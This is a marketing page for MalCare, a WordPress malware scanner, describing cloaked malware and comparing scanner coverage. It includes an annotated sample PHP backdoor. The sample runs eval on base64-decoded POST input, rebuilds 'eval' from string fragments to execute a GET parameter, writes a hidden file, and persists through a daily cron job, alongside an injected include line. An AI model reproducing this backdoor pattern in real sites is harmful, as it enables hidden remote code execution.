Damage happens before detection
Nearly half of WordPress hacks are discovered only after the damage is already done.
Other scanners match files against a list of known malware. MalCare reads your entire site — every file, table and cron — and judges code by what it does. Off your server, so it never feels a thing.






The same page, two faces: healthy for you, infected for Google. Drag the line.
Cloaked malware inspects each request before responding — user-agent (is this Googlebot?), cookies (is this a logged-in admin?), referrer (did they arrive from a search result?), even IP ranges. Admins get the clean page; everyone else gets redirects, spam, or a phishing kit.
This is why remote scanners that fetch your homepage from outside can't see it: they're shown exactly what you're shown. The only reliable way to find cloaked malware is to read the actual files and database — which is what MalCare does, on every scan.
Nearly half of WordPress hacks are discovered only after the damage is already done.
That is the average time malware remains on a site before anyone notices.
Every file, every database table, every scheduled task — including the places other scanners never open: fake plugins, PHP hidden inside images, and cron jobs that re-infect your site.
Ten places malware actually hides, and which type of scanner reads each one. Only one column has no gaps.
| Where it hides | MalCareoff-server deep scan | Signature pluginsWordfence-style, on your server | Remote checkersSiteCheck-style, fetch your homepage | Host scansyour web host's scanner |
|---|---|---|---|---|
| Core files | ● | ● | ○ | ◐ |
| Free plugin & theme files | ● | ● | ○ | ◐ |
| Premium & non-repo pluginsno public checksums to compare against | ● | ◐ | ○ | ○ |
| /uploads folderexecutable PHP disguised as images | ● | ◐ | ○ | ○ |
| Posts, comments & options tables | ● | ◐ | ○ | ○ |
| Custom database tables | ● | ○ | ○ | ○ |
| Scheduled cronswhere re-infectors live | ● | ○ | ○ | ○ |
| Fake pluginsfolders that exist in no repository | ● | ◐ | ○ | ○ |
| Cloaked malwareshows scanners a clean site | ● | ○ | ○ | ○ |
| Unknown malwareno signature exists yet | ● | ○ | ○ | ○ |
Signatures catch known malware. Integrity checks catch tampered files. Behavioral analysis catches malware nobody has seen before. A threat has to get past all three.
01 // wp-compat · registered 11 days ago 02 if ( is_admin() ) return; 03 $k = $_POST['k'] ?? ''; 04 eval( base64_decode( $k ) );matches known backdoor 05 $f = 'e' . 'v' . 'a' . 'l'; 06 $f( $_GET['q'] ); 07 @file_put_contents( '.x.php', $p ); 08 wp_schedule_event( time(), 'daily', 'wp_check' );
checking wordpress.org/plugins/wp-compat … → 404 · NO SUCH PLUGIN EXISTS checking core & theme checksums … wp-includes/ · 1,209 files · sha256 verified themes/twentytwentyfour/ · verified wp-load.php · expected 9f2c…e1 · actual 41b7…9a + ln 2041: include '/tmp/.cache.php';injected line
02 if ( is_admin() ) return;hides from admins 03 $k = $_POST['k'] ?? '';takes visitor input 05 $f = 'e' . 'v' . 'a' . 'l';reconstructs a callable 06 $f( $_GET['q'] );runs it 07 @file_put_contents( '.x.php', $p );writes a file 08 wp_schedule_event( … 'daily' … );persists via cron
Every file and every table, read on MalCare's servers — no CPU spike, no timeout, no slowdown.
The same 50 infected sites, given to each type of scanner. This is what each one found.
Wordfence-style signature matching is our first layer too — that's not the difference. The gap is everything signatures can't see: malware in the database, malware in disguise, and malware too new to be on any list.
Attackers use AI to generate thousands of disguises for the same malware — the code looks different every time, so signature lists never catch up. But every disguise still has to do the same things: take input, decode it, run it. That behavior can't be disguised, and it's what we detect.
No plugin, no signup, no credit card. Whatever we find, you'll know exactly where you stand.
Not a green checkmark — a record you can inspect.
Surgical removal takes out the malware — never your content.
That's the whole form. No plugin, no signup, no credit card.
Every file, table and cron gets all three layers of detection — in about 60 seconds.
A clean report you can inspect — or the exact location of every infection, with one-click cleanup a step away.
A free scan is a snapshot — the plugin adds daily deep scans and one-click removal.
A full scan of every file, table and cron on our servers — and a verdict in about a minute.